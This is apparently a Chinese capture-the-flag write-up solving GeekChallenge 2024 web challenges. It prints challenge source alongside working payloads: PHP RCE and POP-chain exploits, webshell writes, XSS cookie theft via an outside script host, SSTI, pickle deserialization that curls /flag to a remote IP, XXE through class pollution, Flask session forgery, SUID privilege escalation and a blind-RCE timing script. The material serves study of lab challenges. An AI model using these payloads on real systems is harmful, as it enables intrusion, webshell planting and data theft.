week 1

100%的⚪

签到题

image-20241031080945297

image-20241031081003066

rce_me

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}

echo "Welcome to GeekChallenge2024!<br>";

if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";

foreach ($_GET as $key => $value) {
$$key = $value;
}

if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";

if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}

if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);




} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
Well, you haven't started.

get

1
http://80-aaab9218-ace6-48c3-87d1-ae071fd55e5d.challenge.ctfplus.cn?year=1e4&purpose=rce[]&code=echo shell_exec('nl /flag');

post

1
start=start111now&_[2024.geekchallenge.ctf=10932435112

baby_upload

123.xxx.php绕过

Problem_On_My_Web

froms打<sCRiPt sRC=//uj.ci/zu7></sCrIpT>

image-20241209173735413

注入xss代码后访问manager,post url=http://127.0.0.1,使bot访问主页,得到cookie

image-20241209174015545

ezpop

1
听说pop链很难?来做做我的找找自信吧(如果遇到500报错,请耐心等待几秒钟刷新即可,flag在/flag)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}

public function __invoke()
{
echo $this->meimeng;
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}

public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}

}

if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}

链子构造不难,有几个点在卡

meimeng过滤

S+十六进制绕过即可

image-20241031082045829

比较使用伪协议绕过

data://text/plain,Welcome GeekChallenge 2024

image-20241031082034617

死亡绕过

https://whippet0.github.io/2020/09/30/file_put_contents/

使用

S+php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess

image-20241031082236631

分析链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
Class SYC{
public $starven = 'php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess'; //1 shell 执行命令
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}

Class lover{
public $J1rry = 'php://filter/read=string.strip_tags/resource=data://text/plain,<a>Welcome GeekChallenge 2024</a>';
public $meimeng; //3 Geek
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source; //5 入口
}
}

public function __invoke()
{
echo $this->meimeng; //3
}

}

Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge(); //4 lover
}

public function __toString(){
$this->GSBP->Getflag(); //2 SYC
return "Just do it";
}

}

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
Class SYC{
public $starven = 'php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag #/resource=.htaccess'; //1 shell 执行命令
}

Class lover{
public $J1rry = 'php://filter/read=string.strip_tags/resource=data://text/plain,<a>Welcome GeekChallenge 2024</a>';
public $meimeng; //3 Geek



}

Class Geek{
public $GSBP;
}

$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();


echo serialize($a);

手工改一下十六进制

最终payload

1
?data=O:5:"lover":2:{s:5:"J1rry";s:96:"php://filter/read=string.strip_tags/resource=data://text/plain,<a>Welcome GeekChallenge 2024</a>";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";s:96:"php://filter/read=string.strip_tags/resource=data://text/plain,<a>Welcome GeekChallenge 2024</a>";S:7:"\6deimeng";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";S:93:"php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess";}}}}}

image-20241031083526772

week2

ez_http

签到题 不解释

jwt改一改即可

Can_you_Pass_Me

fenjing一把梭

读取

1
/proc/self/environ

image-20241031201006150

学习拉神的payload

1
{%print(joiner|attr('_''_init__')|attr('_''_globals__'))|attr('__g''etitem__')('_''_builtins__')|attr('__g''etitem__')('__import__')('o''s')|attr('p''open')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x7c\x62\x61\x73\x65\x36\x34')|attr('r''ead')()%}

ez_include

第一步

包含的软连接层数较多时,hash匹配会直接失效造成重复包含:

1
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

第二步 pear写马

1
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST['hack']);?>+/var/www/html/shell.php  

后phpinfo

SecretInDrivingSchool

爆破题

SYC@xxxxxx登录后改phpinfo

ez_SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class MySoapClient {
private $clientOptions;

public function __construct($target, $post_string, $headers) {
$this->clientOptions = array(
'location' => $target,
'user_agent' => 'Chrome^^Content-Type: application/x-www-form-urlencoded^^' .
join('^^', $headers) . '^^Content-Length: ' .
(string)strlen($post_string) . '^^^^' . $post_string,
'uri' => "hahaha"
);
$this->client = new SoapClient(null, $this->clientOptions);
}

public function printClientOptions() {
print_r($this->clientOptions);
}
}

$target = "http://127.0.0.1/h4d333333.php";
$post_string = 'expression=system("wget http://xxx.xxx.xxx.xxx:xxxx/1.php")';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);

$soapClient = new MySoapClient($target, $post_string, $headers);
$soapClient->printClientOptions();
?>



通过user传递参数

image-20241102082100464

week 3

PHP不比Java差

Java有的我们PHP也有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

unserialize($_POST['data']);

构造反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Challenge{
public $file = "/etc/passwd";
}

class Geek{
public $a = 'x';
public $b;
}


$a = new Geek();
$a->b = [new Challenge(), 'Sink'];

echo serialize($a);

//O:4:"Geek":2:{s:1:"a";s:1:"x";s:1:"b";a:2:{i:0;O:9:"Challenge":1:{s:4:"file";s:11:"/etc/passwd";}i:1;s:4:"Sink";}}

image-20241209175946801

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Challenge{
public $file;
}

class Geek{
public $a = 'x';
public $b;
}


class Syclover{
public $Girlfriend = 'ls -al /';
public $IS = 'system';
public $Starven = 'invoke';
public $Where = 'ReflectionFunction';

}

$a = new Geek();
$a->b = [new Challenge(), 'Sink'];
$a->b[0]->file = new Syclover();

echo serialize($a);

//O:4:"Geek":2:{s:1:"a";s:1:"x";s:1:"b";a:2:{i:0;O:9:"Challenge":1:{s:4:"file";O:8:"Syclover":4:{s:10:"Girlfriend";s:8:"ls -al /";s:2:"IS";s:6:"system";s:7:"Starven";s:6:"invoke";s:5:"Where";s:18:"ReflectionFunction";}}i:1;s:4:"Sink";}}

flag无法直接读取,需要提权

1
find / -perm -u=s -type f 2>/dev/null

image-20241209182134265

使用file提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Challenge{
public $file;
}

class Geek{
public $a = 'x';
public $b;
}


class Syclover{
public $Girlfriend = '/usr/bin/file -f /flag';
public $IS = 'system';
public $Starven = 'invoke';
public $Where = 'ReflectionFunction';

}

$a = new Geek();
$a->b = [new Challenge(), 'Sink'];
$a->b[0]->file = new Syclover();

echo serialize($a);

//O:4:"Geek":2:{s:1:"a";s:1:"x";s:1:"b";a:2:{i:0;O:9:"Challenge":1:{s:4:"file";O:8:"Syclover":4:{s:10:"Girlfriend";s:22:"/usr/bin/file -f /flag";s:2:"IS";s:6:"system";s:7:"Starven";s:6:"invoke";s:5:"Where";s:18:"ReflectionFunction";}}i:1;s:4:"Sink";}}

image-20241209182301307

py_game

学习累了就来玩玩游戏休息一下吧

通关真的会给flag吗?

注册一个号登录

image-20241209182452252

1
2
3
4
5
C:\Users\31702>flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InlpeWkifQ.Z1bGIg.ythxK3WoD7xuRT0-hdqQeqKTFz4" --wordlist C:\Users\31702\Desktop\python\rockyou.txt --no-literal-eval
[*] Session decodes to: {'username': 'yiyi'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 768 attempts
b'a123456'

伪造admin成功登录

1
2
3
4
5
6
7
8
C:\Users\31702>flask-unsign --unsign --cookie "eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoieWl5aSJ9.Z1bJKw.JD64-2U1KWo0hQ8wTY7DA_jZmEA" --wordlist C:\Users\31702\Desktop\python\rockyou.txt --no-literal-eval
[*] Session decodes to: {'_flashes': [('success', '登录成功')], 'username': 'yiyi'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 768 attempts
b'a123456'

C:\Users\31702>flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret "a123456"
eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z1bJ_A.z6hGry6alcjho_1YYhcqkjrcQc4

image-20241209184536578

下载后反编译得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# uncompyle6 version 3.9.1
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password

def check(self, data):
return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users = [admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, "__getitem__"):
if dst.get(k):
if isinstance(v, dict):
update(v, dst.get(k))
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
else:
setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
for u in Users:
if u.username == username:
flash("用户名已存在", "error")
return redirect(url_for("register"))

new_user = User(username, password)
Users.append(new_user)
flash("注册成功!请登录", "success")
return redirect(url_for("login"))
else:
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
for u in Users:
if u.check({'username':username, 'password':password}):
session["username"] = username
flash("登录成功", "success")
return redirect(url_for("dashboard"))

flash("用户名或密码错误", "error")
return redirect(url_for("login"))
else:
return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
if "username" in session:
with open("/app/templates/play.html", "r", encoding="utf-8") as file:
play_html = file.read()
return play_html
else:
flash("请先登录", "error")
return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
if "username" in session:
if session["username"] == "admin":
return render_template("admin.html", username=(session["username"]))
flash("你没有权限访问", "error")
return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
return render_template("index.html")


@app.route("/dashboard")
def dashboard():
if "username" in session:
is_admin = session["username"] == "admin"
if is_admin:
user_tag = "Admin User"
else:
user_tag = "Normal User"
return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
else:
flash("请先登录", "error")
return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
try:
xml_bytes = app.config["xml_data"].encode("utf-8")
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.fromstring(xml_bytes, parser=parser)
result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
return Response(result_xml, mimetype="application/xml")
except etree.XMLSyntaxError as e:
return str(e)


black_list = [
"__class__".encode(), "__init__".encode(), "__globals__".encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False

return True


@app.route("/update", methods=["POST"])
def update_route():
if "username" in session:
if session["username"] == "admin":
if request.data:
try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
else:
data = json.loads(request.data.decode())
print(data)
if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
update(data, User)
return (jsonify({"message": "更新成功"}), 200)
return ('Invalid character', 400)
except Exception as e:
return (
f"Exception: {str(e)}", 500)

else:
return ('No data provided', 400)
else:
flash("你没有权限访问", "error")
return redirect(url_for("login"))


if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=False)

# okay decompiling app.pyc

经典

image-20241209185404935

查看引用

image-20241209185423064

考虑污染app.config[“xml_data”]

black_list

1
2
black_list = [
"__class__".encode(), "__init__".encode(), "__globals__".encode()]

用unicode绕过

1
2
3
4
5
6
7
8
9
10
11
{
"__init\u005f_" : {
"__globals\u005f_" : {
"app" : {
"config" : {
"xml_data" :"<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE foo [<!ENTITY example SYSTEM '/flag'> ]><flag>&example;</flag>"
}
}
}
}
}

image-20241209193329028

访问xml_parse

image-20241209193421926

jwt_pickle

web、cry

存档

week 4

not_just_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}

}

class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}

}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}

构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love;//1-->execurise
public $web; //0
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love; //8 写入shell
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}
}

class Parar{
private $execurise; //4
public $lead; //2
public $hansome;//5 触发__isset
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl; //3 触发__get
public $friend; //7 触发__invoke
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}

}
class SYC{
private $lover;
public $forever; //6 触发__call
public function __isset($args){
return $this->forever->nononon();
}

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}

exp

注:$execurise得改为public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
}

class Parar{
public $execurise;
public $lead;
public $hansome;
}

class Starven{
public $girl;
public $friend;
}
class SYC{
private $lover;
public $forever;
}
$a = new lhRaMK7();
$a->web=&$a->You;
$a->love=new Parar();
$a->love->lead=new Starven();
$a->love->lead->girl=new Parar();
$a->love->lead->girl->execurise="man!";
$a->love->lead->girl->hansome=new SYC();
$a->love->lead->girl->hansome->forever=new Starven();
$a->love->lead->girl->hansome->forever->friend=new lhRaMK7();
$a->love->lead->girl->hansome->forever->friend->love='@eval("$_POST[cmd];");';

echo base64_encode(serialize($a));

写入木马后

1
cmd=file_put_contents('shell3.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='));

新写一个shell文件供蚁剑连接,连接后发现存在disable_function

使用插件绕过,测试后发现使用PHP7_Backtrace_UAF可以成功执行命令,提权读/flag

image-20241209202405419

ez_python

五个月前,道心破碎,于是便出了这道题,你能治愈当时的我破碎的心灵吗?我会给你flag作为奖励……

登录后拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

打pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# encoding: utf-8
# @Author: yiyi
# @Date: 2024/12/10
import os
import pickle
import base64
import requests
import subprocess


class exp(object):
def __reduce__(self):
payload = '''curl http://45.207.197.131/`cat /flag|base64`'''
return (subprocess.getoutput, (payload,))


a = exp()
print(a)
b = pickle.dumps(a)
print(b)
c = base64.b64encode(b)
print(c)

image-20241210134718448

image-20241210134742680

学习拉神的思路,RCE盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import base64

chars = [' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~']
s = requests.Session()
url = 'http://5000-9bb5bd49-d1d9-499f-a5cb-0b366bd584bc.challenge.ctfplus.cn/'

s.post(f'{url}/register',data={'username':'yiyi','password':'123456'})

result = ''

for i in range(1,100):
for char in chars:
payload = f"if [ `cut -c {i} /flag` = \'{char}\' ];then sleep 1;fi"
payload_b64 = base64.b64encode(f'''(cos\nsystem\nS'{payload}'\no.'''.encode())
data = {
'username':'yiyi',
'password':'123456',
'statement':payload_b64
}
try:
req = s.post(f'{url}/login',data=data,timeout=1)
except:
result += char
print(result)
break
if (char == '~'):
break

image-20241210135125021

ez_js

can you polluted me?

image-20241210135323013

1
{"username":"Starven","password":"123456","hasFlag":true}

image-20241210135938264

flag中提示方法和login一样,逗号给ban了,用&来bypass

1
{"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

image-20241210140122301